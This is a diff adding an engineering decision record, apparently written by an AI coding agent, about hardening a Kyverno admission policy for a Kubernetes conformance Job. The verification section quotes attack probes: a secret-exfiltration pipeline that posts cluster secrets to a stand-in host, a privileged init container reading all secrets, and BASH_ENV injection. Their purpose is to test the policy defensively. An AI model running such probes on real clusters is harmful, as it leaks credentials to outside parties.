diff --git a/decisions/2026-09-29-conformance-job-template.md b/decisions/2026-09-29-conformance-job-template.md new file mode 100644 index 0000000..eaf5ae1 --- /dev/null +++ b/decisions/2026-09-29-conformance-job-template.md @@ -0,0 +1,379 @@ +--- +date: 2026-09-29 +branch: feat/conformance-job-template +title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers` +--- + +## What changed + +Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under +test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml` +was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a +renderable run template. Along the way the admission policy that is supposed to bound that Job +turned out to read `spec.template.spec.containers` and nothing else, and closing that took four +more rules and moved the clone script out of the Job entirely. + +> **Note on where this entry lives.** This handoff was originally written as a ~400-line append +> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the +> five open PRs collided on that one hunk. The prose below is the same content, moved to its own +> file under `decisions/`; the archive is untouched. + +### The binding constraint, and how it was met + +`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`) +admits **only `workspace` and `results`** as volume names. So the git credential could not be a +Secret volume and the init container could not have a scratch volume: + +- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly` + (`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree. + The token reaches `git` through an inline `credential.helper` that reads the environment, so it + never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk. +- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and + `$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath` + mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could + not write it. +- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone + target, and a directory mounted into it makes the target non-empty, so `git clone` refuses. + Hence `CONF_ARTIFACTS=/results` (new, honoured only when set). + +The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches +onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so +an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip +happened to be. + +### Results out of the Job with no exec channel + +The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to +exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh` +therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is +the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`: + + === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc= bytes= lines= sha256= === + + === ARTIFACTS-TGZ-BASE64 END v1 rc= bytes= lines= sha256= === + +`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64 +decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and +digest appear in **both** markers and the collector owes five checks, each documented above the +function. + +### THE FINDING: the admission boundary did not look at `initContainers` + +Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`) +or `volumes` (rule 2). **`initContainers` was never examined**, and neither were +`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the +privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no +`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the +gap was there when the policy shipped in PR #13, and a Job with no init container at all could +already have carried one. + +It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed +PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the +finding independently and **reversed that instruction explicitly**, on the grounds that the ban +existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the +policy gained four rules in this branch: + +- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it + must be on the digest-pinned `conformance-runner` image, `command: + ["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation: + false`, not privileged. +- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty + note under "What I did NOT verify". +- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`, + `CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`, + `CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`. + `command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and + **`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a + non-interactive script, and the runner's command IS a bash script. The init list iterates + `initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed. +- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are + nowhere in the Job, which would make the allowlist above unenforceable by inspection. + +All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least +one** element matches", so a pattern-based init rule would have admitted the committed clone step +**plus** an arbitrary second init container — the same hole rule 2's own comment describes for +volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way. + +**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are +legitimately environment-specific, and `conformance-runner` can already read this namespace's +Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that +matters, because a name is what a program keys behaviour on. Constraining env *values* remains +undone. + +### The clone script left the Job — that is the actual fix + +Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`: +a policy cannot distinguish the committed script from an attacker's, because both are just data. +The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added +to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`, +which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing +else. + +I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and +**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and +one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent +1's version before deleting mine rather than assuming compatibility, and the interface my Job +depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone +target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct); +`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the +`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also +hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather +than honouring it. + +**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in +the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says +nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a +repository it controls and have `containers[0]` execute that repo's `./run.sh` as +`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not +move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion +**independently and against an instruction to read those values from env** — an instruction the +coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so +trusting it just moves the injection" reasoning in one afternoon is the signal that the +field-enumeration gap was systemic, not a one-off. + +### The committed `args` default was a shape that cannot run + +Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements ` fail on the +runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its +offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state +the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is +layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then +filters to `/l0-static/|/l1-rendering/`: + +| args | offline selection | verdict | +|---|---|---| +| `--layer l2,l3` | empty | **RUNS** | +| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** | +| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** | +| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** | +| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** | + +So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all +--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly: +**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite +run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest +header and still needs to land in `ci/conformance.sh` (plan §3 item 4). + +I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode +which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape +is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was +considered rather than missed. + +## What I verified + +### Admission, proven with the pinned CLI rather than assumed + +kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template: + + ##### the real rendered template MUST PASS + Applying 7 policy rule(s) to 1 resource(s)... + pass: 7, fail: 0, warn: 0, error: 0, skip: 0 + + ##### the coordinator's exact initContainer probe MUST FAIL + 1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ... + pass: 6, fail: 1, warn: 0, error: 0, skip: 0 + + ##### same escalation via ephemeralContainers MUST FAIL + 1 - trigger-may-not-declare-ephemeral-containers ... + pass: 6, fail: 1, warn: 0, error: 0, skip: 0 + +The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully +compliant and `serviceAccountName: conformance-runner`: + +- a `privileged: true` `docker.io/library/alpine:latest` initContainer running + `kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED** +- the committed template with **only** the init container's `args` swapped for + `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/` + → `pass: 3, fail: 0` — **ADMITTED** + +Negative controls on the same rendered template, showing the original rules do bite where they +look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping +`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at +`/spec/template/spec/containers/0/command/`. + +Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**: + +| resource | creat | vols | args | init | ephem | envnm | envfr | +|---|---|---|---|---|---|---|---| +| `real-template` | pass | pass | pass | pass | pass | pass | pass | +| `good-run` | pass | pass | pass | — | pass | — | pass | +| `evil-command` | **fail** | pass | — | — | pass | — | pass | +| `evil-image` | **fail** | pass | — | — | pass | — | pass | +| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass | +| `host-namespaces` | **fail** | pass | — | — | pass | — | pass | +| `extra-volume` | pass | **fail** | — | — | pass | — | pass | +| `injected-args` | pass | pass | **fail** | — | pass | — | pass | +| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass | +| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass | +| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass | +| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass | +| `injected-env` | pass | pass | pass | — | pass | **fail** | pass | +| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass | +| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** | + +`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*` +init/ephemeral/env case **passes the three original rules** — that is the whole finding in one +column, and it is why the fixtures are worth more than the rules' prose. +`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule — +correct image, correct pinned command, no args, non-root — and is hostile purely through `env`. +That is why env had to be its own rule and not a condition bolted onto the init rule. + +The rendered template is now a fixture (`real-template` in +`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of +admission fails `make -C ci l0` instead of failing at 2am. + +### How strong that evidence is — the `kyverno test` load trap + +`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and +prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid +Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a +separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and +`Test Summary: 9 tests passed and 0 tests failed`. + +So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit +`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test` +alone — or the green `l0` line in the gate below — would **not** on its own establish that these +rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the +`error: 0, skip: 0` in the numbers above, not the exit code. + +Two further limits on what a CLI pass proves: + +- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control + fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects` + filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header + that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for + `kyverno apply`. +- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not + admission in the cluster. + +### Two Kyverno traps, both of which silently invert the result + +Both are now commented in the rules: + +- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so + ``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value + `false` into `true` and denies every good Job. +- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's + `Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let + `["/bin/sh","-c",…]` through on element 0. + +### The results envelope + +**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and +head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails +check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a +`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is +verified; its transport over `kubectl logs` from a real Pod is not.** + +### Gate + +Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's +`.git`, per CLAUDE.md §3): + + diff base: origin/main @ c59fe9f923c4 ... HEAD @ + touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02 + spec-immutability: green + decisions-log: green (archive frozen, sha256 matches decisions/ARCHIVE.sha256; + 2 entries well-formed — this one included) + lint: green (404 files) + l0: green (kyverno test passed, no 'Invalid Policy'; 19 offline cases, + 0 failures, 0 skips, 0 unwired) + render-golden: green (10 onboarded service goldens reproduce) + l1: green (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired) + gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide) + conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true) + MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED + Stages that did not run: gitea-settings + rc 3 + +Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run +says nothing about Gitea's branch protection or runner registration, and the seven touched +requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is +itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24 +merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen +(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries +well-formed. This entry's format is therefore checked by the stage that enforces it, not only by +eye — though that stage checks *structure*, never whether any claim inside it is true. + +### The `approval-policy` check this PR was expected to fail does not exist + +I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is +security-relevant. **That check does not exist.** Measured rather than assumed: + + grep -rn approval .gitea/workflows/ -> no match + GET /repos/.../branches/main + protected True + user_can_push False + enable_status_check True + status_check_contexts ['gate / gate (pull_request)'] + required_approvals 1 + GET /repos/.../commits//statuses + success gate / gate (pull_request) Successful in 1m36s + pending gate / conformance (pull_request) Blocked by required conditions + +The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so +that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based +approval policy in CI anywhere in this repo.** What actually stops this merging is +`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot +self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked +by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged. + +**Consequence worth acting on:** a change under `conformance/**` — including a change to the +admission boundary itself — is gated by a *generic* human approval, not by anything that knows the +path is security-relevant. If the intent is "security-relevant paths get a stricter review", that +policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a +`paths:`-scoped required check would be the mechanism; neither exists today. + +The PR was **not merged** and nothing was worked around. + +### Process note, worth more than the policy fix + +Both halves of the security finding came from **probing rather than reading**. The hole was not +visible in the policy's prose — which is careful, accurate about what it *does* constrain, and +explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A +policy is only as trustworthy as its negative fixtures. + +## What I did NOT verify + +- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not + exist (plan §3 item 1), so the Job cannot be submitted, and the init container's + clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are + all **unexercised**. The envelope itself is verified; its transport is not. +- **PR #18 must merge first.** The image digest and `/usr/local/bin/conformance-clone` both arrive + with it. If that path is missing or named differently, the init container fails to start; if it + is present but the image is not the pinned digest, admission denies the Job. +- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its + name is referenced here. +- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has + not been built. If the Containerfile picks a different uid, the Job will not start. +- **Whether Gitea's `uploadpack` accepts `fetch origin ` for a non-tip commit was not tested;** + the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA` + assertion turns that into a loud failure rather than a wrong-tree run. +- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.** + Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and + `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod + *template* nested in a Job, and I found no definitive answer. Establishing it needs a + `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator — + so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the + field, and it is the same hole again if it does not. "Probably rejected upstream" is not a + boundary. If someone with cluster-write access wants to settle it, that is a one-command check; + the rule should stay either way. +- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with + or without `--userinfo`, so nothing above establishes that the rules actually *match* only the + trigger identity in a live admission request. +- **Admission was never exercised by a real API server** — only by `kyverno apply` against + manifests. A policy that a CLI accepts can still behave differently once installed. +- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening + there is deliberately partial, not complete. +- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone + entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a + reviewed change. That is the intended failure direction, but it is a coupling the next person + editing either script needs to know about, so it is called out in the rule's message. +- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This + branch changes nothing about what CI does today. +- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3 + conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about + runtime behaviour. +- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the + frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub + sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.